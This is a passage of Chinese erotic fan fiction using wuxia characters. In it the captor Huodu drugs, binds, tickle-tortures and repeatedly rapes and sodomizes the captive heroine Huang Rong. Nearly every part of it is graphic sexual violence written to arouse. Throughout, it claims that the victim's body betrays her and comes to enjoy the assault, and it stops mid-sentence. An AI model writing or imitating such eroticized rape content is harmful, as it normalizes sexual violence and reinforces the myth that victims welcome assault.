热搜排行
凌辱黄蓉
金轮法王与霍都、达尔巴擒住黄蓉母女及武家兄弟,雇了几辆马车将他们藏
于其上,赶赴蒙古大营。

    法王以独门手法点住他们四人穴道,又逼他们服食软骨散,使其内力全失,
以免他们自行运力冲穴。

    这日行到一处僻静山谷,金轮法王决定在此停留几日疗伤。于是法王将车夫
杀净,找了一个山洞,在里闭关七日七夜、盘膝练功治疗,由达尔巴在洞口护法。

    黄蓉母女及武家兄弟被押在附近另一山洞中,由霍都看管。

    看守俘虏的霍都,利用机会细看黄蓉母女容颜。黄蓉今年原已叁十四岁,但
她桃花岛名门家传、内力深湛,又兼天生丽质,因此看来约莫只有二十五、六岁。

    丰满美丽的身体充满成熟女子的气息,但脸庞依然是年轻白嫩、清丽绝俗,
岁月似乎并未在她身上留下一点痕迹。

    霍都再看看郭芙,只觉她虽亦可称为一流美女,比起乃母来却是气质、姿色
均稍逊一筹。他心道:

    “这俏黄蓉名远播,今日一见,果不愧称为中原第一美人;委实可称沈鱼落
雁、闭月羞花。

    只不知床上功夫如何!“想到此处,淫心顿起,抱起黄蓉就往洞外走去。黄
蓉心知不妙,欲待挣扎,但穴道被点,一筹莫展。

    霍都选了一块平坦之地,解下外袍铺在地上,将黄蓉发髻解开放于其上,然
后除光她身上衣衫鞋袜,将她衣袖撕成几条布条,把黄蓉双手双脚拉开绑在几棵
树上;再解开黄蓉周身大穴,只留下颚一个穴道不解。黄蓉隐隐想到其中原由,
不禁冷汗直冒,心乱如麻。

    果见霍都奸笑道∶“解开你全身穴道,是因为我不喜欢我的女人一动不动像
体一样;但我又怕郭夫人你这贞节烈女会咬舌自尽,所以留一个穴道没解,让你
下颚无力。不过,虽说不能言语不能自尽,你的哑穴我可没点;所以黄帮主你到
时快活了,想嗯啊几声倒还是行的。总之,小王在此先陪个不是啦。”

    夕阳的馀晖在女神般的黄蓉赤裸的胴体上。艳丽无双的脸庞,坚挺柔嫩的双
峰,晶莹剔透的皮肤,浑圆雪白的臀部,以至浓黑神秘的叁角花园,均在斜阳之
下一览无遗,直是娇美端丽不可方物。但霍都特意要羞辱他的战利品,故意一处
一处从头到脚的品评她的身体各部;有时真心赞个两声啧啧叫好,有时偏偏故意
摇头表示惋惜,随意嫌嫌各处大小、形状、颜色、软硬。

    黄蓉觉得万分屈辱,自己贞洁美丽的身体正被一个陌生男子一寸一寸的欣赏、
一处一处的品评,这是一生贵的她从没遇过的事。黄蓉眼中如要喷出火来,恨不
得将眼前的淫虫碎万段,偏生被了软骨散,一口真气硬是提不上来,一身武功派
不上用场,区区几条布条便让一代女侠无法动弹。

    霍都的双手不再客气,从黄蓉玉葱般美丽的足趾摸向白瓷似的小腿,拂过雪
嫩的大腿,顺着软滑的臀部滑向苗条的腰腹,最后双手由粉颈向下游动,停留在
一对坚挺的玉峰上。黄蓉只觉得身体一阵阵的酥麻,传来跟丈夫郭靖的抚摸完全
不同的感觉。贞洁的她不觉欢愉、只觉恶心,但苦于无力张嘴呕吐。霍都王子只
做不知,使用着他从蒙古后宫佳丽身上练就的高超前戏指技,抚摸黄蓉上身每一
个敏感带。

    霍都摸了一会,见黄蓉双眼紧闭、毫无反应,渐觉有些没趣,故意道∶“郭
夫人,小王不客气了!

    中原大侠郭靖要戴顶蒙古绿帽子啦。“除去自己的衣衫,将火热的肉体压在
黄蓉赤裸裸的美艳胴体上。

    黄蓉眼看即将受辱,眼角不禁淌下泪来。霍都童心忽起,道∶“可人的俏黄
蓉,别哭,我来安慰你,让你笑笑。”说罢,伸出右手,在黄蓉完全暴露的左腋
下搔了一搔。

    手才接触到黄蓉细细软软的腋毛,只见黄蓉杏眼圆睁,死命的拉扯绑住她四
肢的布条。霍都无意中的动作却让黄蓉反应如此激烈,玩心大起,又伸出另一只
手搔她微微冒汗的右胁。黄蓉更加难受,紧闭双眼,却终于忍受不住,“噗嗤”

    一声,笑了出来。黄蓉心中叫苦不迭,只愿霍都刚刚那一摸是意外碰巧,望
他快快去碰别处,却没心思去想那样是否更加糟糕了。

    要知黄蓉从小就是黄药师唯一掌上明珠,桃花岛上从无旁人胆敢靠她稍近,
遑论呵她的痒。出嫁之后,夫妻之间亦自相敬如宾;敦厚老实的郭靖十馀年来待
她以礼,除了例行敦伦之事外别不多碰她一碰。

    故黄蓉空知呵痒难受之医理,却从无机会知道自己身体何等脆弱敏感。今日
黄蓉第一次遭人呵痒,偏又动弹不得,直是要她的命。

    霍都本只是随意摸摸,没想到会使黄蓉如此难受,惊叹道:“嘿嘿,真有趣,
堂堂的中原第一女侠,叁十多岁人了,却也像普通小姑娘一样怕痒啊。嗯,这儿
跟下面一样恁多可爱黑毛,也难怪怕痒了。”

    口中惊叹,手下一点不停。黄蓉耳中听见霍都轻浮的折辱,脑中却乱成一团
无法思考。咯咯轻笑随即转为哈哈大笑,越笑呼吸越是困难;只觉眼前天旋地转,
目中事物时远时近,四肢百骸说不出的难受;尽想开口恳求,自尊却又不愿,只
能祈求霍都快些生厌罢手。

    御女无数的霍都却是清楚女子身上何处敏感,碰到他的玩物如此有反应,怎
会轻易放过。再呵了黄蓉腋下一会痒,他转换目标,伸出舌头,轻轻舔吸他的俘
虏敏感的肚脐眼;两只手亦握着她水般柔软的纤细腰间,十指不轻不重的用着巧
劲又捏又抓。可怜黄蓉当场被他弄的死去活来,心中只盼自己能够昏厥过去,免
得受此地狱般的折磨;偏生是清醒万分,霍都手指在她敏感肚皮上的每一次收缩
与爬搔、舌头在她肚脐上每一下无法忍受的轻点,却是感觉的清清楚楚。不由自
主的笑声中,不禁眼泪又流了下来。

    霍都见黄蓉委实怕痒,冷笑道:“黄大帮主别哭,现在好玩的才开始呢。”

    他停止动作,移到喘着大气、动弹不得的她光裸的双足边;黄蓉马上心里凉
了一截,知道要糟。霍都手指有一下没一下的捏着黄蓉白嫩的脚趾头,轻轻的刮
刮她如玫瑰花瓣般的脚趾甲,弄得她又痒又怕,万般恐慌;欲待抛弃自尊开口求
饶,却偏是穴道被点无法言语。霍都得意的大笑中,公子哥儿的长指甲已经触到
了黄蓉两脚脚心光滑柔软的涌泉大穴。

    只见这蒙古第一劲敌登时如遭雷殛,一双美目忽地紧闭忽地大睁,嫩白赤裸
的身体一如出了水的鱼般在绑住四肢的布条间疯狂的摆动,完美的两只脚掌拼命
的左右摇动,十根白里透红的脚趾一张一合,想躲过霍都残酷的触摸,却是于事
无补。霍都如妖魔般的微笑着,修长的手指有时顺着黄蓉足底的纹路慢慢来回,
有时上下快速的刮擦她的脚心,有时拨开她的脚趾,用自己的长发搔弄着她敏感
的趾缝。

    黄蓉只觉得一颗心就要从口里跳将出来,四肢百骸如要散开了一般,笑得花
枝乱颤中眼泪与冷汗却是大滴大滴的流下。霍都对女体的知识果然不同凡响,果
真轻易让黄蓉首次体验到“求生不能、求死不得”的绝望。可怜黄蓉枉自满腹经
纶,这时在酷刑下已经完全失去理性思考能力,连想求饶都想不到要如何求饶了。

    她已忘记自己全身赤裸一丝不挂、忘记现时正遭受死敌折辱,只知道时间如
同停下了一般,这般千分万分的难受好似无止无尽。

    霍都自知这大名鼎鼎的丐帮前任帮主文武兼备、聪慧果决;好容易俘虏了这
屡败自己于手下的劲敌,她亦一直是毫无惧色、宁死不屈,从不假他师徒以词色。

    霍都绝没想到这没半个时辰前还高傲冷静的中原美女,一双光脚脚底竟如此
纤细敏感。眼见连日来正眼也不瞧他一瞧的黄蓉,坚强的心防今日却被破得毫不
费力,霍都自是得意万分;口中却故意道:“黄帮主笑得这样开心,显是十分喜
欢。既然如此,那就再讨您欢喜些吧。”他乐得继续施为,手底毫不留情。

    没过多久,霍都简单却有技巧的摩擦动作已将黄蓉逼至狂乱边缘,仅能任由
自己放声大笑,赤裸的身体顺着敏感的双足传来一波一波的强烈感觉而自发反应。

    霍都含笑看着眼下这完全失控、疯狂挣扎的大字形美丽裸女,只见她满脸通
红、浑身香汗淋漓、全身肌肉紧绷,银铃般悦耳的娇笑声中混着珠泪,一双迷人
的乳房胡乱甩动,哪里还有原来天下所熟知的大宋一帮之主、襄阳全城之倚的威
严。

    又过良久,黄蓉渐渐全身脱力,连笑都没力气了,只剩低声呻吟。娇无伦的
她张着红唇呻吟扭动的媚态,使霍都再也无法忍受,笑道:“哈哈,怕痒的小妞
帮主,现在该听话了吧;小王就饶过了你好了,省得你当真尿将出来,那可不妙。”

    双手停止动作,便开始亲吻黄蓉的樱唇,把舌头伸进她口中,搅拌她湿滑的
舌头,一只手并毫不怜香惜玉的揉捏她仍在喘气中起伏的乳房。黄蓉下颚无力,
只能任由他摆布。

    霍都捏够了仙女般的黄蓉令人爱不释手的胸部后,接着便改以舌头在白玉似
的双乳上画圆圈。画了几圈而后,突然一口含住她开始充血勃起的乳头,开始两
边轮流着力吸吮。在遭霍都新奇的酷刑轻薄摆布之后,黄蓉不但意志粉碎,全身
遭受过度刺激的神经更已完全开放;现在敏感的乳头又遭玩弄,无法抗拒的她只
能更大口的喘着气。

    霍都吸了一会,将脸抽离开黄蓉的乳头,只剩下双手揉捏她柔软坚挺的双峰。

    他再次的凝视着黄蓉极端纤细成熟的雪白肌肤;如脂般嫩滑,堪称世上少有。
被拉开的双脚完全暴露了私处;大大张开的大腿根部,覆盖着阴毛的叁角地带白
嫩的隆起。浓密而柔软的阴毛覆盖不住微开的花瓣,和乳头一般粉红的小口微微
的闭着,保护着一样略带淡红色的、米粒般大小的阴蒂。

    霍都心中暗自赞叹,手上自也没闲着。黄蓉很快就感到霍都不规矩的手已经
超过了肚脐,移向她的下体。

    她疯狂似的乱动,但她身上的蒙古王子却更加兴奋道:“倒要看看大宋第一
女高手功夫练不练的到下面,那里有没有比较耐摸耐操。”霍都两支手指拨开黄
蓉贞洁的花瓣,大拇指按住她毫无抵抗能力的阴蒂,手指开始快速震动;黄蓉身
体受此强烈刺激,不禁本能的一阵颤栗。

    叁十馀年来保持冰清玉洁,今日竟遭丈夫之外的无耻男子如此恣意羞辱侵犯,
更被这大宋死敌随意刺激折磨自己身体、利用自己无法控制的生理反应供其嘲笑
取乐,一生自视甚高的黄蓉此时几乎快崩溃了。偏生她四肢被缚、内息不畅,此
时此地一身绝艺却是毫无用处,遭人轻薄,却只能不断地挣扎。

    凑下嘴去,霍都灵活的舌尖在黄蓉可人的花瓣缝上不断游移。霍都笑道∶
“黄帮主,在下武功就算比不上你那名满天下的呆头鹅丈夫,这方面的技巧可绝
对比他强上千百倍。一两刻钟你也许还没感觉,舔上半个时辰,就不信你还不流
出来。到时再看看才貌双全的黄大帮主,流出的水倒有何特别之处。”

    霍都的口交非常仔细。他并非不顾一切的在那部位上乱舔,而是开始时以似
有若无的微妙动作舔舐,待到发现黄蓉某处是性感带时,就执意的停留在那里以
舌加意拂弄。霍都如此的口技连毫无性欲的石女、身经百战的荡妇也会产生性欲
;黄蓉身体既无异常之处,对男女之事亦绝非经验丰富,自然没多久就被弄得完
全情不自禁。她口中虽未发出声音,但开始不由自主的摆头,雪白的肚皮不停的
起伏。

    看到黄蓉的反应,霍都感到十分欢喜,更得意的用舌尖压迫她的阴核,不停
扭动、拨弄。身下的女体忍不住像抽筋一样,丰满的臀部产生痉挛。霍都的嘴就
压在她的阴道吸吮,时时发出啾啾的淫荡声音。霍都抬起头道:“嘿嘿,听到了
吗?你上面的嘴就算不允,下面的嘴倒似蛮欢迎我的。”黄蓉羞得满面通红,只
能以尽力抗拒霍都的挑逗来回应。

    但女子的身体是诚实的,就连誉满天下的女侠黄蓉也不例外。无法动弹的黄
蓉,阴部完全暴露在霍都充满技巧的舌头下,一阵阵单纯质的郭靖从未给过她的
快意冲向脑袋;她就算能勉力忍耐嘴里不出声音,又怎能控制自己身体毫无生理
反应?霍都对黄蓉的阴蒂挑逗持续良久,她股间说不出的快感也愈来愈强;渐渐
的就连她自己都能感觉到体液正顺着自己大腿流下。

    霍都笑道∶“嘿嘿,究竟堂堂的丐帮帮主也跟普通汉人母狗没个两样,空说
什麽叁贞九烈,给人剥光了再随便舔舔也就湿成这样了。嗯,不错,味道酸甜适
中,可谓极品,不愧你一生盛名。”黄蓉见自己身体如此不争气,以致竟遭死敌
如此羞辱,不禁羞愤难当,悲从中来。

    霍都吐出一口大气,连呼痛快,继续彻底的玩着身下宋朝美女充血涨大的阴
核。这时候黄蓉湿润的阴道口已经完全大开;霍都顺势把粗大的舌头卷起插进里
面。如同阳具插入时的快感突然产生,黄蓉不禁发出“啊”的一声,在这刹那有
了昏迷的感觉,双腿酸软无力;只好努力将精神集中在大腿之间抗拒,勉强使自
己不要昏厥过去。

    霍都继续激动的用粗糙的舌头深深的攻击黄蓉的阴道。当黄蓉下身的入口更
加扩大和湿润时,霍都用灵活的食指和中指深深插入黄蓉的花瓣。只见黄蓉不停
地扭动她的臀部,上身如发情的母狗一般翘起,散乱的乌黑秀发猛烈的在空中飞
舞,然后落在雪白的肩上,连自己都感觉的出阴道在夹紧进入里面的手指。

    霍都的两根手指如交换活动般地挖弄,而且还加上抽插的动作。向外拔时,
黄蓉下身鲜红色的花瓣跟着翻出来,伴随着大量体液。霍都的拇指在阴道外面不
停地按摩阴核;黄蓉双手紧抓绑缚她的布条,双眼紧闭,脚趾蜷曲。很快的,黄
蓉阴道里的收缩就变成了整个臀部的痉挛;臀肉不停地颤抖,流出来的透明体液
在嫩白的大腿上形成一条水路流下,淋湿身下的草丛。旷野之中一片寂静,只有
霍都手指与黄蓉湿润的阴部互相摩擦所出的淫靡水声。

    霍都冷冷说道:“是时候了。”他将已开始在自己不断轻薄折辱下崩溃流泪
的黄蓉压下,迅速的将她下身的绑缚解开,然后挺腰靠近她的两股之间。霍都双
手抓住早已两腿酸软、无力抵抗的黄蓉柔软的双足,手指分开她的足趾、插在她
的趾缝之间,将她修长的双腿高高举起,巨大的龟头轻轻摩擦着她湿润的阴部以
恐吓示威。黄蓉自知无幸,只得紧闭双眼,在心中恳求老天怜她一生行侠仗义,
奇迹适时出现。

    偏生世间不一定永远邪不胜正。霍都腰部冷酷的用力,粗大的阳具一下子压
入湿润粉红色的花瓣裂缝中。

    红黑色龟头带着如发出声响似的力量,将阴唇粗鲁的剥开;当霍都那长大的
阴茎一下子全部填入花瓣的裂缝内时,只觉一片温热柔软潮湿的感觉,紧紧的包
围着他,彷佛要将他融化似的。霍都手指不禁用力,几乎要将黄蓉脆弱的脚趾夹
断。只见她“啊。。。。。。”的一声,发出绝望的长叫,眼中流下泪来,却绝
非为了脚上剧痛。

    黄蓉数十年贞洁最后终究被夺,脑中一团杂乱,几乎当场昏厥过去。侵入了
她体内的霍都更是得意的笑道:“郭夫人,在下此物可算名品吧。不知跟郭大侠
比起来,倒是谁擅胜场。嗯,看来您的下面倒似乎不讨厌新熟乍识的在下我,想
必是郭大侠略有不足吧。还是您事实上根本大小不拘一任欢迎呢?嘿嘿。”

    黄蓉穴道未解,自然无法作答;被强暴的屈辱,亦已使平日聪慧机灵的她精
神完全麻木无法思考。更有甚者,黄蓉被玩弄的肉洞早已脱离了她自己的控制。

    只见个艳冠群芳的黄蓉仰起头,上肢被绑的身体不停向上抬动,努力忍受着
如火烧般的强烈插入感。性感却无力的嘴唇在死敌对她身心两面的无情折磨下,
终于放弃抗拒,不自觉的随着霍都的动作发出呻吟声。

    深深插入黄蓉体内的霍都将舌尖滑入她嘴里,用舌头缠绕她的舌尖,然后猛
烈吸吮。黄蓉感到舌根像要断裂,同时感到深入的阴茎慢慢向外退出,却竟是奇
妙的不舍感觉。霍都再度深深插入时,强烈电流般的感觉冲向黄蓉脑顶,使她发
出哭泣般的哼声。当肉棒再次开始不断的猛烈抽插时,她几乎失去声音,红唇微
张,被点了穴的下颌微微颤抖,从樱桃小嘴流出透明唾液闪闪发光。

    霍都的双手也没闲着,放开黄蓉双足,不停地同时挑逗着她早已坚硬得彷佛
就要裂开的乳头和富有弹性、令人爱不释手的乳房。黄蓉愈要勉力抗拒,感官越
是集中在被霍都抚摸的地方,使得快感却是越加强烈。

    同时由于身体不能随心所欲的活动,竟使她产生一种莫名的新感觉,又是羞
辱,又是兴奋。

    霍都运起内力,巨大而火热的阳具在黄蓉如丝缎般柔滑的阴道中以远超过常
人的速度快速进出,龟头如奔马一般摩擦着黄蓉美丽花瓣般的阴唇以及神秘圣洁
的阴蒂。黄蓉只觉下体如遭火炙却毫不疼痛,自与郭靖洞房花烛夜以来从未有过
的十倍快感从自己的下体扩张到全身毛孔,说不出的舒服,说不出的好受。她大
声呻吟,双腿使劲圈住霍都的腰,被绑缚的双手只想用力的抱住眼前的男人,哪
还管他是谁。

    须知郭靖黄蓉两人均甚是单纯,结十馀年来从未想到、亦不屑为此不登大雅
的床笫之事耗费内力;霍都却是荒淫好色、经验丰富,一身内力倒有一半是为了
房中之事而练的。今日黄蓉的成熟肉体头次到此种既是天赋异秉又配合深厚内力
抽插的雄健快感,自己偏又内力全失无法运力抗拒,如何能够忍受?

    霍都炽热的巨物每一个动作都深深地撞击着黄蓉的子宫,粗鄙的蒙古肉棒将
襄阳城中不可一世的女侠带往欲情的高峰。

    强烈的快感,使霍都不顾一切地用尽全力抽插。同样强烈的快感,却让他娇
嫩的战利品努力集中最后的精神抗拒。黄蓉想咬紧牙关但下颚却无法用力,无法
控制自己口里流出汤气回肠的娇吟声,只能努力的想着她的靖哥哥、她的女儿、
她在襄阳保国安民的大任,拼命想保住自己最后的尊严。但是脑中郭靖的面容偏
生模糊不清,而自己滑嫩的臀部在死敌如此折辱下却尽是不听话的用力扭动。

    终于再也忍不住了。——啊,不行了。。。靖哥哥,蓉儿对不住你。。。芙
儿,千万不要学娘。。。——流着眼泪的黄蓉,脑中模糊的郭靖、女儿、和襄阳
城,一下混成了眼前霍都邪恶而清晰的俊脸,然后幻化成千万道光;雪白丰满的
臀部不自觉的用力向前挺,柔软的腰肢不断地颤抖着,魂魄彷佛在叁界中快速的
交替往返,最后只有极乐世界快速扩大;粉红的阴道夹紧抽搐,晶莹的体液一波
一波的流出来,同时无法控制的发出了悠长而淫荡的喜悦呼声;只觉全身暖洋洋
的有如要融化了般,时间好似完全停了下来——然后是黑暗中无止境的坠落。

    黄蓉达到绝顶高潮,霍都在她抽搐的阴道中哪里忍的住,用力挺一下便也射
精。霍都完全射出后,黄蓉的阴部仍无耻的缠夹住那不属于郭靖的阳茎,像是要
挤得这大宋的死敌一滴也不剩似地。霍都伏倒在黄蓉柔软的肉体上喘气,只见她
面色潮红,长长的睫毛不住闪动,正在羞耻的享受不由自主的高潮后的馀韵。

    完全的凌辱了艳名远播的黄蓉,使霍都感到非常痛快。霍都吻了香汗淋漓的
黄蓉一口,笑道:“什麽武林正道、中原第一,好大的口气,原来也不过如此;
叫起春来声音倒是好听。。。黄帮主,还没完哩,我们再继续享乐吧!”说完便
解开黄蓉上身的绑缚,把她无力的双手重新绑在身后,然后将她抱起,开始了另
一场凌辱。

    霍都强迫浑身虚脱的黄蓉跪下。黄蓉努力想站起来,霍都却粗暴的抓着她的
头发把她的上身拉倒。夕阳之下,美艳无方的黄蓉一丝不挂的跪在旷野中,翘起
充满健美与性感的臀部做出狗爬的姿势;骨肉停匀的柔滑大腿中间,显出一方黑
中透红的美丽花园,还有乳白色的粘液慢慢淫靡的渗出。

    霍都手抓住趴在地上的黄蓉秀发,将红黑色的巨大阳物傲慢的送到黄蓉的嘴
前。但黄蓉内力虽失,武艺仍在;那话儿一入黄蓉的口中,黄蓉便即巧妙的将头
一摆,让它掉了出来。霍都屡试不得要领,无计可施,只好抓住黄蓉的脑袋,将
自己的阳具插进黄蓉的嘴里去,并将她的头部紧紧的压在自己的下体上,使她无
法动弹。可怜黄蓉再度受辱,一滴泪珠从眼中流出。

    “黄帮主,你还是乖乖吞它吧,免得再无端吃苦了。”霍都语罢,举手运力
住黄蓉柔嫩的屁股拍落,清脆的“啪”一声响,黄蓉雪白迷人的屁股顿时出现一
个五指手印。黄蓉吃痛,但嘴巴中塞满刚从自己体内拔出、咸咸酸酸的肉茎,呼
不出声。下颚穴道被点,连嘴唇都合不拢,想咬霍都也咬不下去。

    双手被绑的黄蓉既无力反抗霍都,又怕再遭他以酷刑折磨于自己,只好认命
的移动着白晰的颈子,用无力的嘴唇摩擦着他。黄蓉虽然冰雪聪明,这方面技巧
既是毫无所悉,下颚又不能用力无法紧含,霍都从她口中所得快感自是有限。只
不过霍都正陶醉于征服黄蓉的快感中,自有心理上的兴奋之处,也不觉得十分打
紧。

    过了不久,霍都从黄蓉的口中拔出冒着热气的巨大阳物,只见龟头马眼一张
一合有如活物一般,肉茎上的青筋亦是不断跳动。霍都再度的在黄蓉的面前显示
他的骄傲,要她看个一清二楚。黄蓉可说一生头一遭近看此物,只觉脸红心跳;
想别过头去,秀发却被霍都抓住,只得羞赧的紧闭自己眼睛,不敢多看。

    霍都突然绕到黄蓉身后。在一片旷野中,黄蓉的浑圆屁股高高挺起,雪白的
嫩肉显得格外显眼;蜜桃般的山谷间,黑色阴毛包围着鲜艳的粉红色洞口,好似
张开小口正在等待。闭着双眼的黄蓉惊觉霍都已到身后,还来不及反应,霍都已
迅速的将阳物对正黄蓉阴部,腰用力往前一送,两人下体又一次紧紧相贴。

    喘气连连的黄蓉疲软的趴在地上,只有下身被霍都抱着,高高的抬起。霍都
道:“郭靖想必没有如此像干狗一样玩过夫人;小王今日可谓艳福不浅,哈哈。”

    霍都的巨大肉棒在被凌虐的女体内快速且强力的挺进挺出,黄蓉脑里一片空
白,臀肉在他用力猛撞之下一汤一汤,一对美丽的椒乳也不停的摇晃。

    约莫过了半炷香的时间,霍都仍没有要射精的感觉。他一只手揪着黄蓉的阴
毛,另一只手却摸到黄蓉的阴核。

    霍都在阴核上抚摸了一阵,只摸到黏糊糊的体液;沾满淫水的手指轻轻擦过
了会阴部,继续向黄蓉菊花蕾般的肛门摸去。霍都先在它的周围绕圈子,然后将
湿漉漉的手指抹在茶褐色洞口上;那里立刻如海参一样收缩。

    意想不到的地方受到攻击,黄蓉只感到污秽与恐慌。偏生双手绑在身后,无
助的肛门哪里能抵抗入侵者。

    霍都把几乎要整个趴倒在地上的黄蓉用力拉起,感觉她的臀部恐惧的颤抖,
柔声对她道:“我说小美人儿呀,你不要怕,你的屁眼儿可爱的很哪,一点也不
肮脏。待会你就会像刚刚一样快活啦。”

    霍都嘴里安慰,中指却慢慢的深入。黄蓉下意识的想往前逃,但被霍都用手
抱住臀部;只觉得连自己的靖哥哥都没给碰过的肮脏地方慢慢被撑开,一支异物
慢慢进入她的身体,连同阴部内的肉棒在她的体内抽动。黄蓉又是痛楚、又是快
活,从未体验过的感觉好似要把她冲刷到另一个世界中;只听到声声无意识的呻
吟从她口中发出。

    霍都的手指触摸到黄蓉肛门里面,在指腹上稍加压力,然后揉弄起来。羞辱
及厌恶使得黄蓉更是努力将肛门往里面收缩,但是霍都的指头却如同挖掘似的揉
弄起来,如同要将它拉出来一般。黄蓉将臀部左右摇动,并想要向前逃走,但却
无法使霍都细心按摩的恼人手指因而离开她全身最私密的所在。

    菊花之门被手指侵入撬开,呈现柔软湿透的内壁。霍都将整根手指在黄蓉肛
内搅动,她雪白的身也如同蛇一般的扭动,从口中发出呻吟,整个身躯无助的蜷
曲起来。霍都的手指继续揉捏着黄蓉肠内,在拔出插入之际,肛门中那根细细长
长的手指好似支配着黄蓉整个高挑苗条的身体般。

    黄蓉前后同时被辱,在强烈的感觉冲激之下,已忘了身在何处、自己是谁,
什麽汉胡之别、敌我之分,早已不存在于她被耻辱、怨恨、痛苦与歉疚麻痹的脑
海中;她只是任由自己正处狼虎之年的成熟身体直接随着霍都的动作反应。霍都
运力同时快速抽插黄蓉前后两穴,渐渐感到黄蓉的阴道正慢慢收缩,知道黄蓉又
要达到高潮了。

    霍都冷笑两声,突然停止动作,拔出阳具。强烈的刺激陡然停止,黄蓉刹时
神智清醒,眼看着霍都含着笑望着自己,想到自己适才丑态,只觉羞耻万分、无
地自容。只是脑中虽然百味杂陈,又是对霍都的恨意、又是对郭靖的歉意,湿滑
滑的下体却是火热热的,说不出的空虚难受,不由得又是庆幸自己并未在被戳弄
后庭的难堪情况之下再次出丑,又是盼望赶紧有人继续填补自己下体的空缺。

    霍都只是含笑不言,静静的搔弄黄蓉肛门周围,抚弄她的乳头及大腿内侧,
却故意不触及她的阴唇、阴蒂等敏感处。黄蓉与郭靖共尝男女之乐十馀年来,自
然从未如此遭自己夫君折磨于自己。她一生初次从极乐世界门口被硬拉了回来,
只觉心痒难搔;这感觉委实难受,她不由得不断喘息,只知自己下体不停扭动,
似乎在求恳一般,却想也不敢多想自己身体到底在恳求什麽,更是瞧也不敢多瞧
霍都一眼。

    只听嘿嘿一声冷笑,霍都又插入了黄蓉体内。黄蓉登时“啊”的一声,这次
这一声却又是害羞、又是欢喜。这一插果真有若久旱后的甘霖,她脑中一时间竟
有种错觉,只觉这麽快活,此生委实不枉了。霍都继续运力抽插,等待多时的黄
蓉很快的又开始觉得热烘烘的暖流从自己足底向全身扩散,这次却没多麽想要抗
拒了。只见霍都却又停了下来,只剩一只手指在黄蓉肛门内轻轻蠕动;黄蓉自然
又是失望,又是难受。

    霍都也真好耐性,如此反覆竟有五六次,每次都是抽动一番后待她高潮即将
来临时冷笑抽出。对适才得到一次高潮的黄蓉来说,食髓知味之后这种反覆的、
欲求无法发的难受,又是另一种的酷刑。她在这种事上本无法与霍都匹敌,更何
况战场是自己的身体?最后黄蓉再也抵受不住,流着体液的下体不断扭动,一双
明眸带着泪光望着霍都,羞耻中却带着明显的求恳之意。

    霍都大笑,道:“黄帮主,总算你也熬不住了吗?要小王插插也可以,那你
丈夫如何呀?你要我插、不要丈夫,那你眼睛就眨上叁眨。不屑我插,就摇摇头。”

    黄蓉一怔;在霍都给予自己身子的强烈刺激下,“郭靖”两字已许久未在她
脑海中出现。虽然不得发委实难熬,只要能获得满足,现在的她几乎什麽都愿意
作,但霍都现在既提起自己丈夫,她又怎能不顾廉耻、不顾她与靖哥哥的坚贞大
爱?

    黄蓉下体难受万分,脑中天人交战;这眼睛说什麽也眨不下去,但说要摇头,
却又舍不得。这一迟疑

    已使霍都十分满足;更兼他自己也将忍受不住,不愿冒黄蓉最后居然仍是摇
头的险,长笑一声,道“不摇头就是不反对,那就是肯让小王决定;小王就恭敬
不如从命啦。”抱紧黄蓉下身,手指再度插进她的肛门戳弄,下身亦在她的阴户
内运十成力快速抽插,这次却是说什麽也不肯停了。

    忽见黄蓉全身肌肉僵硬,皱紧眉头,表情似痛苦、似绝望、又似悲伤,“啊
啊啊咿啊。。。”的一声大呼,说不出的悦耳,又说不出的淫靡。赤裸的身体弓
起,如完美的玉像般画出美丽的弧度。霍都只觉如丝缎般的柔滑阴道规律的一收
一放,阵阵温暖的爱液从身下美女体内深处涌出,淋在自己深深侵入的龟头上。

    黄蓉弓起的身体僵了一会,长呼渐渐结束,全身陡然瘫了下来;霍都赶紧抱
住,免得她整个人趴在地上。

    霍都眼见黄蓉在强烈的高潮下脱力,更是兴奋,肉棒涨大,却奇妙的并未马
上射出。在浑身无力却另有一番妩媚动人的黄蓉身后,霍都一只手继续蹂躏她的
肛门,一只手轮流照顾两只软玉温香的乳房,用力握紧前后揉搓,一张嘴在背后
舔她背部渗出的汗水,下部更是不停的继续抽插。黄蓉高潮刚过,下体极端敏感,
难受万分,只是无意识的呻吟。

    霍都又随意抽插了一阵,见黄蓉神智渐复,笑道:“骚娘们,给蒙古男儿插
插后面果然快活吧!还说什麽驱逐鞑虏,嘻嘻。”羞耻的黄蓉不能言语,只是低
头别过脸去。霍都故意将手指从黄蓉的肛门中抽出来,凑到她鼻前去,道:“丐
帮帮主的屁眼儿未必比普通烂乞丐好闻呢。来,臭烘烘的,自己嗅嗅。”

    黄蓉生性极为爱洁,这几日来一路上法王倒也待之以礼,除了限制俘虏行动
之外日常生活诸般需要倒也一项不缺,因此霍都手上并未真正有何异味。但黄蓉
哪还等到真正闻到自己肮脏处的味道?她纵横中原十馀年,今日惨遭前所未有之
身心巨大折磨凌辱,早已羞愤交加难以忍受;现在霍都再加嘲笑作贱于她,黄蓉
一阵急怒攻心,只觉喉头一甜、眼前发黑,便自晕了过去。

    霍都见黄蓉突然昏晕,也不管她,自管将她晕厥在地的玉体用力拉起。趁黄
蓉失去意识毫无反抗,霍都用他仍然怒张未的肉棒瞄准她两白晰若雪的臀肉之间,
龟头在她那浅褐色的蓓蕾上摩擦一番,马上将腰部往前推;也不用体液润滑,巨
大龟头的前端只管直接坚定地将黄蓉后庭的处女地给割了开来。

    剧痛之下黄蓉呻吟醒转。才刚回过神来,迷糊之中就感觉自己肛门遭庞然大
物所侵入。只跟过郭靖的黄蓉哪里知道世上还有肛交一事,恐惧及疼痛让她猛烈
的摇着头、摆动着臀部。黄蓉无法运内力抗拒,只得努力忍耐这几乎有如生育般
的痛楚。散乱的长发胡乱的左右甩动,雨粒般地泪珠飞散在脸上,全身流满香汗。

    一瞬间,霍都拔出了好不容易才插入的龟头。黄蓉的身体立刻向前逃,眼中
不由自主的露出一丝恳求之意。可是霍都轻易的将她用力搂近,把黄蓉的臀部高
高的拉起,分开她两片丰满的嫩肉,运起内劲,再一次强力的插进去。巨大的肉
棒轻易的突破洞口的顽强障碍,迅速的滑入黄蓉的直肠里。肛门再次衔住霍都最
粗大部份时,被扩张到了极限,上面原本清楚的肉褶也消失了。

    黄蓉被如此作贱,简直不敢相信。阴茎与肉壁间毫无润滑,她只觉有如一根
木棍刺穿自己身体一般。激烈的磨擦疼痛使她皱起眉头努力想要咬紧牙关。——
世间竟有这等肮脏残酷的事。。。为何是我——充塞脑门的难忍羞辱及贯穿身体
的强烈疼痛,已使得黄蓉不知生命到此还有何意义。但黄蓉极为硬气,只是尽力
忍耐。

    想到自己今日得以这般蹂躏自己最强劲敌兼世间最美玩物,强烈的征服感使
